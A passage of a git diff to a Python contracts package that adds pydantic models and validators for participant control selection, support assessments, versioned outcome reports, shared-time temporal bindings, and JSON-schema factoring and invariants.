sink_ref: ControlRef + phase_ref: ControlRef + subject_kind: ParticipantCrossingSubjectKind + + +class ControlMechanismBindingModel(ContractModel): + model_config = ConfigDict(frozen=True) + instance_id: ControlRef + profiles: Evidence + mechanism: ControlArtifactReferenceModel + protocol_revision: Literal["participant-control-provider/v1"] + implementation: ControlArtifactReferenceModel + configuration_digest: PrefixedDigestString + authority: ControlArtifactReferenceModel + memory_scope: ControlArtifactReferenceModel + applicability: Annotated[tuple[ControlApplicabilityModel, ...], Field(min_length=1, max_length=256)] + evidence: Evidence + limitations: Evidence + + @model_validator(mode="after") + def _binding(self) -> Self: + for name, kind in ( + ("mechanism", "mechanism"), + ("implementation", "implementation"), + ("authority", "authority"), + ("memory_scope", "memory"), + ): + require_kind(getattr(self, name), kind) + for name, kind in (("profiles", "profile"), ("evidence", "evidence"), ("limitations", "limitation")): + values = getattr(self, name) + require_unique(values) + for value in values: + require_kind(value, kind) + require_unique(self.applicability) + for profile in self.profiles: + validate_control_profile_reference(profile) + require_unique(tuple(profile.ref for profile in self.profiles)) + return self + + +class ControlSlotDependencyModel(ContractModel): + model_config = ConfigDict(frozen=True) + slot_id: ControlRef + kind: ResultKind + + +class ControlResultSlotModel(ContractModel): + model_config = ConfigDict(frozen=True) + slot_id: ControlRef + instance_id: ControlRef + kind: ResultKind + role: Literal["mandatory", "advisory"] + dependencies: Annotated[tuple[ControlSlotDependencyModel, ...], Field(max_length=256)] + + +class ControlCausalBoundsModel(ContractModel): + model_config = ConfigDict(frozen=True) + max_depth: ControlCount + max_effects: ControlCount + max_fanout: ControlCount + max_firings_per_rule: ControlCount + max_attempts: ControlCount + expires_at_order: ControlCount + + +class ParticipantControlSelectionModel(ContractModel): + """Exact finite selection; this document cannot install a provider.""" + + model_config = ConfigDict(frozen=True) + schema_version: Literal["participant-control-selection/v1"] + selection_id: ControlRef + semantic_revision: Literal["sem-235/rev1"] + apparatus: ControlArtifactReferenceModel + required_profiles: ControlRefs + bindings: Annotated[tuple[ControlMechanismBindingModel, ...], Field(max_length=64)] + slots: Annotated[tuple[ControlResultSlotModel, ...], Field(max_length=256)] + bounds: ControlCausalBoundsModel + evidence: Evidence + + @model_validator(mode="after") + def _selection_graph(self) -> Self: + require_kind(self.apparatus, "apparatus") + require_unique(self.required_profiles) + require_unique(tuple(binding.instance_id for binding in self.bindings)) + require_unique(tuple(slot.slot_id for slot in self.slots)) + profiles = {profile.ref for binding in self.bindings for profile in binding.profiles} + if not set(self.required_profiles) <= profiles: + raise ValueError("required participant control profile is absent") + instances = {binding.instance_id for binding in self.bindings} + slots = {slot.slot_id: slot for slot in self.slots} + graph = {} + for slot in self.slots: + if slot.instance_id not in instances: + raise ValueError("participant control slot instance is absent") + require_unique(tuple(dep.slot_id for dep in slot.dependencies)) + for dep in slot.dependencies: + if dep.slot_id not in slots or slots[dep.slot_id].kind != dep.kind: + raise ValueError("participant control dependency is absent or mistyped") + graph[slot.slot_id] = tuple(dep.slot_id for dep in slot.dependencies) + try: + tuple(TopologicalSorter(graph).static_order()) + except CycleError: + raise ValueError("participant control dependency cycle") from None + return self diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_support_v2.py b/implementations/python/packages/raes_contracts/contracts/participant_control_support_v2.py new file mode 100644 index 000000000..d033bf137 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_support_v2.py @@ -0,0 +1,65 @@ +"""Admitted support requirements and exact-cut API-407 assessment bindings.""" + +from __future__ import annotations + +from typing import Literal, Self + +from pydantic import ConfigDict, model_validator + +from .base import ContractModel +from .participant_control_coordinates import Artifacts, ControlRef, Evidence, require_kind +from .participant_control_results import ControlEffectiveSupportModel + + +def _validate_positive_support(relation: str, observed: ControlEffectiveSupportModel) -> None: + if relation in {"exact", "bounded-compatible", "disclosed-weak-compatible"} and ( + observed.status != "resolved" or observed.installation is None + ): + raise ValueError("positive support relation needs resolved installed support") + + +def _validate_strength_relation(relation: str, required_strength: str, observed_level: str) -> None: + _validate_observed_strength(relation, required_strength, observed_level) + if required_strength == "exact" and relation not in {"exact", "insufficient", "unresolved"}: + raise ValueError("exact requirement cannot accept weaker support") + + +def _validate_observed_strength(relation: str, required_strength: str, observed_level: str) -> None: + if relation == "exact" and observed_level != "exact": + raise ValueError("exact support relation needs exact effective support") + if relation == "bounded-compatible" and (required_strength == "exact" or observed_level != "bounded"): + raise ValueError("bounded support does not satisfy exact or mismatched strength") + if relation == "disclosed-weak-compatible" and ( + required_strength != "disclosed_weak" or observed_level != "disclosed_weak" + ): + raise ValueError("disclosed weak support relation is incompatible") + + +class ControlSupportAssessmentV2Model(ContractModel): + """A recorded requirement-relative relation, subject to trusted resolution.""" + + model_config = ConfigDict(frozen=True) + obligation_id: ControlRef + instance_id: ControlRef + required_strength: Literal["exact", "bounded", "disclosed_weak"] + required_constraints: Artifacts + effective_support: ControlEffectiveSupportModel + relation: Literal["exact", "bounded-compatible", "disclosed-weak-compatible", "insufficient", "unresolved"] + evidence: Evidence + + @model_validator(mode="after") + def _relation(self) -> Self: + for item in self.required_constraints: + require_kind(item, "constraint") + if self.required_strength == "bounded" and not self.required_constraints: + raise ValueError("bounded support requirement needs admitted constraints") + observed = self.effective_support + if observed.instance_id != self.instance_id: + raise ValueError("support assessment has a different instance") + _validate_positive_support(self.relation, observed) + _validate_strength_relation(self.relation, self.required_strength, observed.effective_level) + return self + + @property + def satisfied(self) -> bool: + return self.relation in {"exact", "bounded-compatible", "disclosed-weak-compatible"} diff --git a/implementations/python/packages/raes_contracts/contracts/participant_execution.py b/implementations/python/packages/raes_contracts/contracts/participant_execution.py index 57fde11e3..ff053d385 100644 --- a/implementations/python/packages/raes_contracts/contracts/participant_execution.py +++ b/implementations/python/packages/raes_contracts/contracts/participant_execution.py @@ -51,10 +51,13 @@ class ParticipantExecutionBindingModel(ContractModel): max_in_flight: int = Field(ge=1) timeout_seconds: int = Field(ge=1) max_retries: int = Field(ge=0) + temporal_contract_digests: tuple[PrefixedDigestString, ...] = Field( + default=(), max_length=256, exclude_if=lambda value: not value + ) @model_validator(mode="after") def _validate_unique_refs(self) -> ParticipantExecutionBindingModel: - for field_name in ("target_addresses", "constraint_refs", "evidence_refs"): + for field_name in ("target_addresses", "constraint_refs", "evidence_refs", "temporal_contract_digests"): values = getattr(self, field_name) if len(values) != len(set(values)): raise ValueError(f"{field_name} must contain unique values") diff --git a/implementations/python/packages/raes_contracts/contracts/participant_outcomes.py b/implementations/python/packages/raes_contracts/contracts/participant_outcomes.py new file mode 100644 index 000000000..bef5f2575 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_outcomes.py @@ -0,0 +1,81 @@ +"""ACT-618 v2 reports retain local meaning independently of downstream results.""" + +from collections.abc import Mapping +from typing import Any, Literal + +from pydantic import Field, StrictInt, model_validator +from raes.participant_local_outcome import OutcomeAttainment, OutcomeCategory, OutcomeKnowledge +from raes.participant_outcome_semantics import OutcomeInterpretationRule + +from ..addressing import CompiledAddress +from .base import ContractModel, NonEmptyString, PrefixedDigestString +from .participant_envelopes import ParticipantRuntimeBaseEnvelopeModel +from .participant_views import ParticipantOutcomeReportModel, ParticipantOutcomeReportStateRelationshipModel + + +class ParticipantOutcomeObservationRefModel(ContractModel): + """An exact, immutable observation in the participant behavior history.""" + + action_instance_id: NonEmptyString + observation_point: NonEmptyString + content_digest: PrefixedDigestString + + +class ParticipantOutcomeReportV2Model(ParticipantRuntimeBaseEnvelopeModel): + """Local state at an exact history cut; v1 records are never upgraded implicitly.""" + + schema_name: Literal["raes.participant_runtime.outcome_report"] + schema_version: Literal["2.0.0"] + event_type: Literal["participant_outcome_report"] + participant_address: CompiledAddress + episode_id: NonEmptyString + outcome_id: NonEmptyString + interpretation_rule_ref: CompiledAddress + rule_digest: PrefixedDigestString + rule_spec: OutcomeInterpretationRule + revision: StrictInt = Field(ge=1) + predecessor_event_ref: NonEmptyString | None + behavior_history_length: StrictInt = Field(ge=0) + behavior_history_digest: PrefixedDigestString + observation_refs: list[ParticipantOutcomeObservationRefModel] + excluded_observation_refs: list[NonEmptyString] = Field(default_factory=list) + correction_basis: NonEmptyString | None = None + category: OutcomeCategory + attainment: OutcomeAttainment + knowledge: OutcomeKnowledge + freshness: Literal["current_at_recorded_cut"] + state_relationships: list[ParticipantOutcomeReportStateRelationshipModel] = Field(default_factory=list) + + @model_validator(mode="after") + def _local_state_shape(self) -> "ParticipantOutcomeReportV2Model": + if self.rule_spec.local_outcome is None or self.category != self.rule_spec.local_outcome.category: + raise ValueError("local outcome category requires its versioned definition") + if self.knowledge in {"conflicting", "withheld"} and self.attainment != "undetermined": + raise ValueError("conflicting or withheld evidence cannot establish attainment") + if (self.revision == 1) != (self.predecessor_event_ref is None): + raise ValueError("outcome revision requires the exact predecessor") + self._require_correction_shape() + return self + + def _require_correction_shape(self) -> None: + refs = [ref.observation_point for ref in self.observation_refs] + if len(set(refs)) != len(refs) or len(set(self.excluded_observation_refs)) != len( + self.excluded_observation_refs + ): + raise ValueError("outcome observation identities must be unique") + if not set(self.excluded_observation_refs) <= set(refs): + raise ValueError("outcome correction references must resolve in its history cut") + if self.excluded_observation_refs and self.correction_basis is None: + raise ValueError("outcome corrections require an explicit basis") + + +def decode_participant_outcome_report( + payload: Mapping[str, Any], +) -> ParticipantOutcomeReportModel | ParticipantOutcomeReportV2Model: + """Read an exact supported version; migration requires new observations.""" + version = payload.get("schema_version") + if version == "1.0.0": + return ParticipantOutcomeReportModel.model_validate(payload) + if version == "2.0.0": + return ParticipantOutcomeReportV2Model.model_validate(payload) + raise ValueError("participant outcome report version is unsupported") diff --git a/implementations/python/packages/raes_contracts/contracts/participant_runtime.py b/implementations/python/packages/raes_contracts/contracts/participant_runtime.py index 244c0f9c8..ae95b928a 100644 --- a/implementations/python/packages/raes_contracts/contracts/participant_runtime.py +++ b/implementations/python/packages/raes_contracts/contracts/participant_runtime.py @@ -37,6 +37,11 @@ from ..versions import PARTICIPANT_EPISODE_STATE_SCHEMA_VERSION from .base import ContractModel, NonEmptyString from .participant_resource_budgets import ParticipantResourceMeasurementModel +from .participant_temporal import ( + ParticipantTemporalAssessmentModel, + ParticipantTemporalEvidenceModel, + ParticipantTemporalExecutionContextModel, +) from .random_stream import ParticipantStreamAddressModel _AUTONOMOUS_EXECUTION_V1 = "participant-autonomous-execution/v1" @@ -107,6 +112,9 @@ class ParticipantActionResultModel(ContractModel): failure_class: ParticipantFailureClass | None = None observations: list[NonEmptyString] = Field(default_factory=list) resource_measurements: list[ParticipantResourceMeasurementModel] = Field(default_factory=list) + temporal_evidence: list[ParticipantTemporalEvidenceModel] = Field( + default_factory=list, max_length=256, exclude_if=lambda value: not value + ) evidence_refs: list[NonEmptyString] = Field(default_factory=list) diagnostics: list[NonEmptyString] = Field(default_factory=list) @@ -127,6 +135,9 @@ class ParticipantTemporalRuntimeContextModel(ContractModel): backend_disclosure_refs: list[NonEmptyString] = Field(default_factory=list) reset_boundary: NonEmptyString | None = None replay_boundary: NonEmptyString | None = None + shared_time: ParticipantTemporalExecutionContextModel | None = Field( + default=None, exclude_if=lambda value: value is None + ) class ParticipantAttributionCandidateModel(ContractModel): @@ -249,6 +260,9 @@ class ParticipantBehaviorHistoryEventModel(ContractModel): attribution_edges: list[ParticipantAttributionEdgeModel] = Field(default_factory=list) outcome_interpretations: list[ParticipantOutcomeInterpretationRecordModel] = Field(default_factory=list) temporal_contexts: list[ParticipantTemporalRuntimeContextModel] = Field(default_factory=list) + temporal_assessments: list[ParticipantTemporalAssessmentModel] = Field( + default_factory=list, exclude_if=lambda value: not value + ) activity_provenance: ParticipantActivityOccurrenceProvenanceModel | None = None details: ParticipantObservationDetailsModel = Field(default_factory=ParticipantObservationDetailsModel) diff --git a/implementations/python/packages/raes_contracts/contracts/participant_temporal.py b/implementations/python/packages/raes_contracts/contracts/participant_temporal.py new file mode 100644 index 000000000..7f78bcae1 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_temporal.py @@ -0,0 +1,114 @@ +"""Resolved participant guarantees bound to the existing shared-time authority.""" + +from typing import Literal + +from pydantic import Field, StrictBool, StrictInt, model_validator + +from ..addressing import CompiledAddress +from .base import ContractModel, NonEmptyString, PrefixedDigestString +from .time_model import TimeCoordinateModel + + +class ParticipantTemporalBindingModel(ContractModel): + """One action-local guarantee and its resolved shared-clock constraint.""" + + profile: Literal["participant-shared-time/v1"] = "participant-shared-time/v1" + action_contract_address: CompiledAddress + temporal_id: NonEmptyString + temporal_kind: Literal["deadline", "dwell"] + clock_address: CompiledAddress + constraint_address: CompiledAddress + event_point: Literal["start", "end", "observed", "effective"] + evidence_mode: Literal["event", "continuous"] + start: TimeCoordinateModel | None = Field(default=None, exclude_if=lambda value: value is None) + end: TimeCoordinateModel + condition_precondition_id: NonEmptyString | None = Field(default=None, exclude_if=lambda value: value is None) + observation_boundary_address: CompiledAddress | None = Field(default=None, exclude_if=lambda value: value is None) + contract_digest: PrefixedDigestString + time_domain: NonEmptyString + clock_authority: NonEmptyString + event_points: tuple[NonEmptyString, ...] = Field(min_length=1) + backend_disclosure_refs: tuple[NonEmptyString, ...] = () + reset_boundary: NonEmptyString + replay_boundary: NonEmptyString + + @model_validator(mode="after") + def _validate_guarantee_shape(self) -> "ParticipantTemporalBindingModel": + if self.temporal_kind == "dwell": + self._validate_dwell_shape() + else: + self._validate_deadline_shape() + self._validate_event_point() + self._validate_relative_coordinates() + return self + + def _validate_dwell_shape(self) -> None: + if self.start is None or self.condition_precondition_id is None or self.observation_boundary_address is None: + raise ValueError("dwell requires a start, condition precondition, and observation boundary") + if self.evidence_mode != "continuous" or self.event_point != "start": + raise ValueError("dwell requires continuous coverage before action start") + if (self.start.tick, self.start.microstep) >= (self.end.tick, self.end.microstep): + raise ValueError("dwell requires a nonempty interval") + + def _validate_deadline_shape(self) -> None: + if ( + self.evidence_mode != "event" + or self.condition_precondition_id is not None + or self.observation_boundary_address is not None + ): + raise ValueError("deadline requires event evidence without condition coverage fields") + + def _validate_event_point(self) -> None: + if self.event_point not in self.event_points: + raise ValueError("temporal binding event must be declared by the action contract") + + def _validate_relative_coordinates(self) -> None: + if self.end.segment != 0 or (self.start is not None and self.start.segment != 0): + raise ValueError("temporal declaration coordinates are relative to the current clock segment") + + +class ParticipantTemporalExecutionContextModel(ContractModel): + """Runtime-owned identity of one bound guarantee evaluation.""" + + binding: ParticipantTemporalBindingModel + participant_address: CompiledAddress + episode_id: NonEmptyString + action_instance_id: NonEmptyString + execution_scope_ref: CompiledAddress + execution_generation: StrictInt = Field(ge=0) + submitted_at: TimeCoordinateModel + clock_sequence: StrictInt = Field(ge=0) + bound_start: TimeCoordinateModel | None = None + bound_end: TimeCoordinateModel + + +class ParticipantTemporalCoverageModel(ContractModel): + """An attested condition over a half-open interval, not two samples.""" + + start: TimeCoordinateModel + end: TimeCoordinateModel + condition_holds: StrictBool + + +class ParticipantTemporalEvidenceModel(ContractModel): + """A backend's observation of the selected event on the bound shared clock.""" + + context: ParticipantTemporalExecutionContextModel + observation_boundary_address: CompiledAddress + evidence_mode: Literal["event", "continuous", "sampled"] = "event" + event_point: Literal["start", "end", "observed", "effective"] | None = None + coordinate: TimeCoordinateModel | None = None + condition_precondition_id: NonEmptyString | None = None + coverage: tuple[ParticipantTemporalCoverageModel, ...] = Field(default=(), max_length=4096) + evidence_refs: tuple[NonEmptyString, ...] = Field(min_length=1, max_length=256) + + +class ParticipantTemporalAssessmentModel(ContractModel): + """Portable guarantee result, independent of the native action outcome.""" + + context: ParticipantTemporalExecutionContextModel + status: Literal["met", "missed", "indeterminate"] + native_execution: Literal["not_dispatched", "reported"] + evaluation_sequence: StrictInt = Field(ge=0) + reason: NonEmptyString + evidence: tuple[ParticipantTemporalEvidenceModel, ...] = () diff --git a/implementations/python/packages/raes_contracts/contracts/participant_views.py b/implementations/python/packages/raes_contracts/contracts/participant_views.py index f3f3baf6d..c687d6224 100644 --- a/implementations/python/packages/raes_contracts/contracts/participant_views.py +++ b/implementations/python/packages/raes_contracts/contracts/participant_views.py @@ -29,6 +29,7 @@ ParticipantOutcomeInterpretationRecordModel, ParticipantTemporalRuntimeContextModel, ) +from .participant_temporal import ParticipantTemporalAssessmentModel class ParticipantOutcomeReportSourceModel(ContractModel): @@ -116,6 +117,9 @@ class ParticipantHistoryViewBehaviorEventModel(ContractModel): attribution_edges: list[ParticipantAttributionEdgeModel] = Field(default_factory=list) outcome_interpretations: list[ParticipantOutcomeInterpretationRecordModel] = Field(default_factory=list) temporal_contexts: list[ParticipantTemporalRuntimeContextModel] = Field(default_factory=list) + temporal_assessments: list[ParticipantTemporalAssessmentModel] = Field( + default_factory=list, exclude_if=lambda value: not value + ) activity_provenance: ParticipantActivityOccurrenceProvenanceModel | None = None details: ParticipantObservationDetailsModel = Field(default_factory=ParticipantObservationDetailsModel) diff --git a/implementations/python/packages/raes_contracts/contracts/realization_plans.py b/implementations/python/packages/raes_contracts/contracts/realization_plans.py index 8e8225c50..554708a22 100644 --- a/implementations/python/packages/raes_contracts/contracts/realization_plans.py +++ b/implementations/python/packages/raes_contracts/contracts/realization_plans.py @@ -13,6 +13,7 @@ from ..bounded_domains import DomainDescriptor from ..compute_substrate import validate_compute_substrate_constraint, validate_planned_substrate_targets from ..domain_profiles import DomainProfileBindingModel +from ..materialization import require_materialization_records from ..observation_demand import EffectiveObservationDemand from ..planning import ( RealizationAuthorityMode, @@ -33,6 +34,8 @@ WorkflowExecutionStateModel, WorkflowHistoryEventModel, ) +from .materialization_attestation import MaterializationArchiveRecord, MaterializationPlanModel +from .mixed_runtime import MixedCompositionRuntimeEventModel, MixedCompositionRuntimeStateModel from .operating_systems import ObservedOperatingSystemIdentityModel from .participant_control import ParticipantControlOccurrenceModel from .participant_crossing import ParticipantCrossingOccurrenceModel @@ -43,6 +46,7 @@ ) from .participant_execution import ParticipantExecutionServiceStateModel from .participant_information_state import ParticipantInformationStateRecordModel +from .participant_outcomes import ParticipantOutcomeReportV2Model from .participant_resource_budgets import ( ParticipantResourceBudgetEventModel, ParticipantResourceBudgetStateModel, @@ -55,6 +59,7 @@ ParticipantEpisodeStateModel, ) from .realization_observation_validation import validate_realization_observation_disclosure +from .snapshot_budget_validation import validate_execution_service_budget_projection from .snapshot_entry import SnapshotEntryModel as SnapshotEntryModel from .time_model import TimeRuntimeStateModel @@ -248,7 +253,7 @@ def _require_resolution_source(self) -> None: raise ValueError("apparatus realization default must resolve open or closed") -class ProvisioningPlanModel(ContractModel): +class ProvisioningPlanModel(MaterializationPlanModel): operations: list[PlanOperationModel] = Field(default_factory=list) diagnostics: list[dict[str, Any]] = Field(default_factory=list) realization_authority: list[ResolvedRealizationAuthorityModel] @@ -281,7 +286,7 @@ def _validate_operation_addresses(self) -> ProvisioningPlanModel: return self -class OrchestrationPlanModel(ContractModel): +class OrchestrationPlanModel(MaterializationPlanModel): operations: list[PlanOperationModel] = Field(default_factory=list) startup_order: list[CompiledAddress] = Field(default_factory=list) diagnostics: list[dict[str, Any]] = Field(default_factory=list) @@ -295,7 +300,7 @@ def _validate_operation_addresses(self) -> OrchestrationPlanModel: return self -class EvaluationPlanModel(ContractModel): +class EvaluationPlanModel(MaterializationPlanModel): operations: list[PlanOperationModel] = Field(default_factory=list) startup_order: list[CompiledAddress] = Field(default_factory=list) diagnostics: list[dict[str, Any]] = Field(default_factory=list) @@ -368,38 +373,6 @@ def _require_embedded_map_keys( raise ValueError(message) -def _validate_execution_service_budget_projection( - services: Mapping[str, ParticipantExecutionServiceStateModel], - budget_states: Mapping[str, ParticipantResourceBudgetStateModel], -) -> None: - budget_refs = set(budget_states) - for service in services.values(): - missing = sorted(set(service.resource_budget_state_refs) - budget_refs) - if missing: - raise ValueError( - "Participant execution service references missing resource-budget states: " + ", ".join(missing) - ) - concurrency = [ - budget_states[budget_ref] - for budget_ref in service.resource_budget_state_refs - if budget_states[budget_ref].resource_kind == "concurrent_actions" - ] - if not concurrency: - continue - if len(concurrency) != 1: - raise ValueError( - "Participant execution service must reference exactly one authoritative concurrency budget" - ) - authoritative = concurrency[0] - projection = (service.capacity, service.reserved, service.in_flight) - authority = (authoritative.limit, authoritative.reserved, authoritative.current_use) - if projection != authority: - raise ValueError( - "Participant execution service concurrency projection must " - "equal its authoritative resource-budget state" - ) - - class RuntimeSnapshotEnvelopeModel(ContractModel): """Published envelope for a live runtime snapshot. @@ -427,7 +400,15 @@ class RuntimeSnapshotEnvelopeModel(ContractModel): participant_behavior_history: dict[str, list[ParticipantBehaviorHistoryEventModel]] = Field(default_factory=dict) participant_control_history: dict[str, list[ParticipantControlOccurrenceModel]] = Field(default_factory=dict) participant_crossing_history: dict[str, list[ParticipantCrossingOccurrenceModel]] = Field(default_factory=dict) + # The published participant-control-evaluation-v1 schema is the authority for + # each retained record (RuntimeSnapshot validates every one against it); the + # snapshot envelope carries them like other linked records rather than + # embedding a second normative copy of that contract. + participant_control_evaluation_history: dict[str, list[dict[str, Any]]] = Field(default_factory=dict) + mixed_composition_states: dict[str, MixedCompositionRuntimeStateModel] = Field(default_factory=dict) + mixed_composition_history: dict[str, list[MixedCompositionRuntimeEventModel]] = Field(default_factory=dict) information_state_history: dict[str, list[ParticipantInformationStateRecordModel]] = Field(default_factory=dict) + participant_outcome_history: dict[str, list[ParticipantOutcomeReportV2Model]] = Field(default_factory=dict) participant_autonomous_execution_states: dict[str, ParticipantAutonomousExecutionStateModel] = Field( default_factory=dict ) @@ -442,11 +423,28 @@ class RuntimeSnapshotEnvelopeModel(ContractModel): time_model_state: TimeRuntimeStateModel | None = None realization_provenance: list[RealizationProvenanceEntryModel] = Field(default_factory=list) realization_observations: list[RealizationObservationDisclosureModel] = Field(default_factory=list) + materialization_attestations: list[MaterializationArchiveRecord] = Field(default_factory=list, max_length=4096) realization_envelope: RealizationEnvelopeIdentityModel | None = None metadata: dict[str, Any] = Field(default_factory=dict) @model_validator(mode="after") def _validate_entry_addresses(self) -> RuntimeSnapshotEnvelopeModel: + from ..mixed_runtime_history import iter_mixed_runtime_snapshot_violations + from ..participant_temporal import require_participant_temporal_history + + require_participant_temporal_history(self) + + if list( + iter_mixed_runtime_snapshot_violations( + {key: value.model_dump(mode="json") for key, value in self.mixed_composition_states.items()}, + { + key: [event.model_dump(mode="json") for event in events] + for key, events in self.mixed_composition_history.items() + }, + ) + ): + raise ValueError("Mixed composition state and history are inconsistent") + require_materialization_records(tuple(self.materialization_attestations)) _require_embedded_map_keys( self.entries, "address", @@ -485,7 +483,10 @@ def _validate_entry_addresses(self) -> RuntimeSnapshotEnvelopeModel: for participant_address, records in self.information_state_history.items(): if any(record.participant_address != participant_address for record in records): raise ValueError("Information-state history map key must equal embedded participant_address") - _validate_execution_service_budget_projection( + from ..participant_outcome_history import require_outcome_envelope + + require_outcome_envelope(self) + validate_execution_service_budget_projection( self.participant_execution_services, self.participant_resource_budget_states, ) diff --git a/implementations/python/packages/raes_contracts/contracts/schema_constraints.py b/implementations/python/packages/raes_contracts/contracts/schema_constraints.py index 6770bb491..10f1de46b 100644 --- a/implementations/python/packages/raes_contracts/contracts/schema_constraints.py +++ b/implementations/python/packages/raes_contracts/contracts/schema_constraints.py @@ -164,6 +164,11 @@ def _attach_scenario_identifier_constraints(contract_id: str, schema: dict[str, else _portable_property_names(maximum=local_maximum) ) _attach_runtime_identifier_constraints(schema) + binding = schema.get(_DEFS_KEY, {}).get("MaterializedResourceBinding") + if isinstance(binding, dict): + properties = binding["properties"] + properties["node_name"] = _qualified_property_names() + properties["source_node"] = {"anyOf": [_qualified_property_names(), {"type": "null"}], "default": None} forwarding_id_schema = _qualified_property_names() if qualified else _portable_property_names() _constrain_collection_item_field( scenario_schema, @@ -262,6 +267,7 @@ def _attach_instantiation_invariants(contract_id: str, json_schema: dict[str, An """ if contract_id not in { _INSTANTIATION_INVARIANT_CONTRACT_ID, + "materialized-scenario-v1", _INSTANTIATED_SNAPSHOT_CONTRACT_ID, _SATISFIABILITY_EVIDENCE_CONTRACT_ID, }: diff --git a/implementations/python/packages/raes_contracts/contracts/schema_factoring.py b/implementations/python/packages/raes_contracts/contracts/schema_factoring.py new file mode 100644 index 000000000..eef725b4a --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/schema_factoring.py @@ -0,0 +1,83 @@ +"""Lossless local factoring of repeated schemas, never instance data or text.""" + +import json +from collections import Counter +from collections.abc import Callable +from copy import deepcopy +from typing import Any, cast + +from .schema_invariants import _SCHEMA_MAP_KEYS, _SCHEMA_SUBSCHEMA_KEYS + +_DEFINITIONS = "$defs" + + +def _map_children(node: dict[str, Any], transform: Callable[[object, bool], object]) -> dict[str, Any]: + result = deepcopy(node) + for key in _SCHEMA_MAP_KEYS: + if isinstance(result.get(key), dict): + result[key] = {name: transform(value, key == _DEFINITIONS) for name, value in result[key].items()} + for key in _SCHEMA_SUBSCHEMA_KEYS: + value = result.get(key) + if isinstance(value, list): + result[key] = [transform(child, False) for child in value] + elif isinstance(value, dict): + result[key] = transform(value, False) + return result + + +def _shared_names(counts: Counter[str], candidates: dict[str, dict[str, Any]], existing: set[str]) -> dict[str, str]: + names = {} + index = 0 + for key in sorted(counts): + if counts[key] < 2 or len(key) < 80 or "$ref" in candidates[key]: + continue + while f"_r{index}" in existing: + index += 1 + names[key] = f"_r{index}" + existing.add(names[key]) + index += 1 + return names + + +def factor_shared_schema(schema: dict[str, Any]) -> dict[str, Any]: + """Share exact repeated subschemas inside a single local-reference resource. + + Original named definitions, annotations and data-valued keywords remain + intact. Resource identifiers and anchors are refused rather than relocated. + Factoring changes only representation, not the schema's admitted instances. + """ + counts: Counter[str] = Counter() + candidates: dict[str, dict[str, Any]] = {} + + def key_of(node: object) -> str: + return json.dumps(node, sort_keys=True, separators=(",", ":")) + + def count(node: object, root: bool = False) -> object: + if not isinstance(node, dict): + return node + if not root and {"$id", "$anchor", "$dynamicAnchor", "$dynamicRef"} & node.keys(): + raise ValueError("Schema factoring requires one anchor-free resource") + key = key_of(node) + counts[key] += 1 + candidates[key] = node + _map_children(node, lambda child, _preserve: count(child)) + return node + + count(schema, True) + names = _shared_names(counts, candidates, set(schema.get(_DEFINITIONS, {}))) + shared: dict[str, Any] = {} + + def replace(node: object, preserve: bool = False) -> object: + if not isinstance(node, dict): + return node + key = key_of(node) + if not preserve and key in names: + name = names[key] + if name not in shared: + shared[name] = replace(node, True) + return {"$ref": f"#/$defs/{name}"} + return _map_children(node, replace) + + result = cast(dict[str, Any], replace(schema, True)) + result.setdefault(_DEFINITIONS, {}).update(shared) + return result diff --git a/implementations/python/packages/raes_contracts/contracts/schema_invariants.py b/implementations/python/packages/raes_contracts/contracts/schema_invariants.py index 6dec7afbf..2ef959f31 100644 --- a/implementations/python/packages/raes_contracts/contracts/schema_invariants.py +++ b/implementations/python/packages/raes_contracts/contracts/schema_invariants.py @@ -131,6 +131,7 @@ def _attach_experiment_datetime_invariants(contract_id: str, json_schema: dict[s def _attach_stateful_resource_invariants(contract_id: str, json_schema: dict[str, Any]) -> None: if contract_id not in { "sdl-authoring-input-v1", + "materialized-scenario-v1", "instantiated-scenario-v1", "instantiated-scenario-snapshot-v1", }: @@ -188,6 +189,7 @@ def _add_carrier_validation_basis_disclosure_invariant( def _attach_initial_service_state_invariants(contract_id: str, json_schema: dict[str, Any]) -> None: if contract_id not in { "sdl-authoring-input-v1", + "materialized-scenario-v1", "instantiated-scenario-v1", "instantiated-scenario-snapshot-v1", "scenario-satisfiability-evidence-v1", @@ -203,6 +205,46 @@ def _attach_initial_service_state_invariants(contract_id: str, json_schema: dict ) +def _attach_participant_temporal_invariants(contract_id: str, json_schema: dict[str, Any]) -> None: + if contract_id in _SDL_IDENTIFIER_CONTRACT_IDS: + _add_raes_invariant( + json_schema, + "participant-shared-time-source-bindings", + ( + "Explicit temporal bindings must resolve the action's shared clock, constraint and selected event. " + "Dwell conditions require authorized observation boundaries and observable support and evidence. " + "Numeric parameters are revalidated after binding." + ), + validator="raes.semantics.participant_temporal_bindings.participant_temporal_binding_errors", + inputs=[{"contract_id": contract_id, "instance_path": "#"}], + ) + if "ParticipantTemporalBindingModel" in json_schema.get("$defs", {}): + _add_raes_invariant( + json_schema, + "participant-shared-time-binding-shape", + ( + "Deadline bindings require event evidence; dwell requires continuous coverage of a nonempty interval, " + "a condition and an observation boundary. Bounds are segment-relative and the selected event is " + "declared." + ), + validator="raes_contracts.contracts.participant_temporal.ParticipantTemporalBindingModel", + inputs=[{"contract_id": contract_id, "instance_path": "#"}], + ) + if contract_id == "runtime-snapshot-v1": + _add_raes_invariant( + json_schema, + "participant-shared-time-history-consistency", + ( + "Temporal contexts must remain identical across an attempt; terminal assessments must match their " + "evidence and authoritative clock history. Every proof must match an exact bound context and " + "observation boundary, " + "without duplicates or extra proofs." + ), + validator="raes_contracts.participant_temporal.require_participant_temporal_history", + inputs=[{"contract_id": contract_id, "instance_path": "#"}], + ) + + def _validate_reported_value_status( value_status: str, value: object | None, @@ -255,6 +297,7 @@ def _extend_reported_value_status_schema(json_schema: JsonSchemaValue) -> None: _SDL_IDENTIFIER_CONTRACT_IDS = frozenset( { _SDL_AUTHORING_CONTRACT_ID, + "materialized-scenario-v1", _INSTANTIATION_INVARIANT_CONTRACT_ID, _INSTANTIATED_SNAPSHOT_CONTRACT_ID, } diff --git a/implementations/python/packages/raes_contracts/contracts/snapshot_budget_validation.py b/implementations/python/packages/raes_contracts/contracts/snapshot_budget_validation.py new file mode 100644 index 000000000..27ed0860e --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/snapshot_budget_validation.py @@ -0,0 +1,38 @@ +"""Cross-record authority joins for execution-service snapshot projections.""" + +from collections.abc import Mapping + +from .participant_execution import 